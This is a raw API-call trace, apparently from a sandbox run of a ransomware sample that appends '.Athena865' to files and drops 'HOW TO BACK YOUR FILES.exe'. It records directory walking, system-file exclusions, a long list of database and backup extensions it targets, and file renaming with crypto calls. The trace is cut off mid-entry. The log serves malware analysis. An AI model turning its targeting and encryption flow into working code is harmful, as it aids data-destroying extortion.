1 [0103.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.237] CloseHandle (hObject=0x17c) returned 1 [0103.238] CloseHandle (hObject=0x154) returned 1 [0103.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.238] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="..") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="windows") returned -1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="bootmgr") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="temp") returned -1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="pagefile.sys") returned -1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="boot") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ids.txt") returned 1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ntuser.dat") returned -1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="perflogs") returned -1 [0103.238] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="MSBuild") returned -1 [0103.238] lstrlenW (lpString="Microsoft Store.url") returned 19 [0103.238] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url" [0103.238] lstrlenW (lpString="Microsoft Store.url") returned 19 [0103.238] lstrlenW (lpString="Athena865") returned 9 [0103.238] lstrcmpiW (lpString1="Store.url", lpString2="Athena865") returned 1 [0103.239] lstrlenW (lpString=".dll") returned 4 [0103.239] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".dll") returned 1 [0103.239] lstrlenW (lpString=".lnk") returned 4 [0103.239] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".lnk") returned 1 [0103.239] lstrlenW (lpString=".ini") returned 4 [0103.239] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".ini") returned 1 [0103.239] lstrlenW (lpString=".sys") returned 4 [0103.239] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".sys") returned 1 [0103.239] lstrlenW (lpString="Microsoft Store.url") returned 19 [0103.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865") returned 92 [0103.239] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft store.url.athena865"), dwFlags=0x1) returned 1 [0103.240] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\microsoft store.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.240] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=134) returned 1 [0103.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.241] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.241] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.241] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.242] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.244] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.245] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.245] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.245] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.246] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.246] CloseHandle (hObject=0x17c) returned 1 [0103.246] CloseHandle (hObject=0x154) returned 1 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.247] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0103.247] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.247] ReleaseMutex (hMutex=0xec) returned 1 [0103.247] CloseHandle (hObject=0xec) returned 1 [0103.247] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites" [0103.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502328 | out: hHeap=0x4f0000) returned 1 [0103.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c740 | out: hHeap=0x4f0000) returned 1 [0103.247] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites") returned 56 [0103.247] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DF29299C928E38498929649D447EF777") returned 0xec [0103.247] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.247] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites" [0103.247] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.247] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.248] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.248] GetLastError () returned 0x0 [0103.248] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.248] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.249] CloseHandle (hObject=0xf4) returned 1 [0103.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.249] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.249] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.249] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.249] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.249] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.249] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.249] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.249] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.249] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.249] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.249] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799aaa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.249] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.249] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0103.249] lstrcmpiW (lpString1="MSN Autos.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.249] lstrcmpiW (lpString1="MSN Autos.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="..") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="windows") returned -1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="bootmgr") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="temp") returned -1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="pagefile.sys") returned -1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="boot") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ids.txt") returned 1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ntuser.dat") returned -1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="perflogs") returned -1 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2="MSBuild") returned 1 [0103.250] lstrlenW (lpString="MSN Autos.url") returned 13 [0103.250] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url" [0103.250] lstrlenW (lpString="MSN Autos.url") returned 13 [0103.250] lstrlenW (lpString="Athena865") returned 9 [0103.250] lstrcmpiW (lpString1="Autos.url", lpString2="Athena865") returned 1 [0103.250] lstrlenW (lpString=".dll") returned 4 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".dll") returned 1 [0103.250] lstrlenW (lpString=".lnk") returned 4 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".lnk") returned 1 [0103.250] lstrlenW (lpString=".ini") returned 4 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".ini") returned 1 [0103.250] lstrlenW (lpString=".sys") returned 4 [0103.250] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".sys") returned 1 [0103.250] lstrlenW (lpString="MSN Autos.url") returned 13 [0103.250] lstrlenW (lpString="bak") returned 3 [0103.250] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.250] lstrlenW (lpString="ba_") returned 3 [0103.250] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.250] lstrlenW (lpString="dbb") returned 3 [0103.250] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.251] lstrlenW (lpString="vmdk") returned 4 [0103.251] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.251] lstrlenW (lpString="rar") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.251] lstrlenW (lpString="zip") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.251] lstrlenW (lpString="tgz") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.251] lstrlenW (lpString="vbox") returned 4 [0103.251] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.251] lstrlenW (lpString="vdi") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.251] lstrlenW (lpString="vhd") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.251] lstrlenW (lpString="vhdx") returned 4 [0103.251] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.251] lstrlenW (lpString="avhd") returned 4 [0103.251] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.251] lstrlenW (lpString="db") returned 2 [0103.251] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.251] lstrlenW (lpString="db2") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.251] lstrlenW (lpString="db3") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.251] lstrlenW (lpString="dbf") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.251] lstrlenW (lpString="mdf") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.251] lstrlenW (lpString="mdb") returned 3 [0103.251] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.251] lstrlenW (lpString="sql") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.252] lstrlenW (lpString="sqlite") returned 6 [0103.252] lstrcmpiW (lpString1="os.url", lpString2="sqlite") returned -1 [0103.252] lstrlenW (lpString="sqlite3") returned 7 [0103.252] lstrcmpiW (lpString1="tos.url", lpString2="sqlite3") returned 1 [0103.252] lstrlenW (lpString="sqlitedb") returned 8 [0103.252] lstrcmpiW (lpString1="utos.url", lpString2="sqlitedb") returned 1 [0103.252] lstrlenW (lpString="xml") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.252] lstrlenW (lpString="$er") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.252] lstrlenW (lpString="4dd") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.252] lstrlenW (lpString="4dl") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.252] lstrlenW (lpString="^^^") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.252] lstrlenW (lpString="abs") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.252] lstrlenW (lpString="abx") returned 3 [0103.252] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.252] lstrlenW (lpString="accdb") returned 5 [0103.252] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1 [0103.252] lstrlenW (lpString="accdc") returned 5 [0103.252] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1 [0103.252] lstrlenW (lpString="accde") returned 5 [0103.252] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1 [0103.252] lstrlenW (lpString="accdr") returned 5 [0103.252] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1 [0103.252] lstrlenW (lpString="accdt") returned 5 [0103.252] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1 [0103.253] lstrlenW (lpString="accdw") returned 5 [0103.253] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1 [0103.253] lstrlenW (lpString="accft") returned 5 [0103.253] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1 [0103.253] lstrlenW (lpString="adb") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.253] lstrlenW (lpString="adb") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.253] lstrlenW (lpString="ade") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.253] lstrlenW (lpString="adf") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.253] lstrlenW (lpString="adn") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.253] lstrlenW (lpString="adp") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.253] lstrlenW (lpString="alf") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.253] lstrlenW (lpString="ask") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.253] lstrlenW (lpString="btr") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.253] lstrlenW (lpString="cat") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.253] lstrlenW (lpString="cdb") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.253] lstrlenW (lpString="ckp") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.253] lstrlenW (lpString="cma") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.253] lstrlenW (lpString="cpd") returned 3 [0103.253] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.254] lstrlenW (lpString="dacpac") returned 6 [0103.254] lstrcmpiW (lpString1="os.url", lpString2="dacpac") returned 1 [0103.254] lstrlenW (lpString="dad") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.254] lstrlenW (lpString="dadiagrams") returned 10 [0103.254] lstrcmpiW (lpString1=" Autos.url", lpString2="dadiagrams") returned -1 [0103.254] lstrlenW (lpString="daschema") returned 8 [0103.254] lstrcmpiW (lpString1="utos.url", lpString2="daschema") returned 1 [0103.254] lstrlenW (lpString="db-journal") returned 10 [0103.254] lstrcmpiW (lpString1=" Autos.url", lpString2="db-journal") returned -1 [0103.254] lstrlenW (lpString="db-shm") returned 6 [0103.254] lstrcmpiW (lpString1="os.url", lpString2="db-shm") returned 1 [0103.254] lstrlenW (lpString="db-wal") returned 6 [0103.254] lstrcmpiW (lpString1="os.url", lpString2="db-wal") returned 1 [0103.254] lstrlenW (lpString="dbc") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.254] lstrlenW (lpString="dbs") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.254] lstrlenW (lpString="dbt") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.254] lstrlenW (lpString="dbv") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.254] lstrlenW (lpString="dbx") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.254] lstrlenW (lpString="dcb") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.254] lstrlenW (lpString="dct") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0103.254] lstrlenW (lpString="dcx") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0103.254] lstrlenW (lpString="ddl") returned 3 [0103.254] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0103.255] lstrlenW (lpString="dlis") returned 4 [0103.255] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0103.255] lstrlenW (lpString="dp1") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0103.255] lstrlenW (lpString="dqy") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0103.255] lstrlenW (lpString="dsk") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0103.255] lstrlenW (lpString="dsn") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0103.255] lstrlenW (lpString="dtsx") returned 4 [0103.255] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0103.255] lstrlenW (lpString="dxl") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0103.255] lstrlenW (lpString="eco") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0103.255] lstrlenW (lpString="ecx") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0103.255] lstrlenW (lpString="edb") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0103.255] lstrlenW (lpString="epim") returned 4 [0103.255] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0103.255] lstrlenW (lpString="fcd") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0103.255] lstrlenW (lpString="fdb") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0103.255] lstrlenW (lpString="fic") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0103.255] lstrlenW (lpString="flexolibrary") returned 12 [0103.255] lstrcmpiW (lpString1="SN Autos.url", lpString2="flexolibrary") returned 1 [0103.255] lstrlenW (lpString="fm5") returned 3 [0103.255] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0103.256] lstrlenW (lpString="fmp") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0103.256] lstrlenW (lpString="fmp12") returned 5 [0103.256] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1 [0103.256] lstrlenW (lpString="fmpsl") returned 5 [0103.256] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1 [0103.256] lstrlenW (lpString="fol") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0103.256] lstrlenW (lpString="fp3") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0103.256] lstrlenW (lpString="fp4") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0103.256] lstrlenW (lpString="fp5") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0103.256] lstrlenW (lpString="fp7") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0103.256] lstrlenW (lpString="fpt") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0103.256] lstrlenW (lpString="frm") returned 3 [0103.256] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0103.256] lstrlenW (lpString="gdb") returned 3 [0103.256] 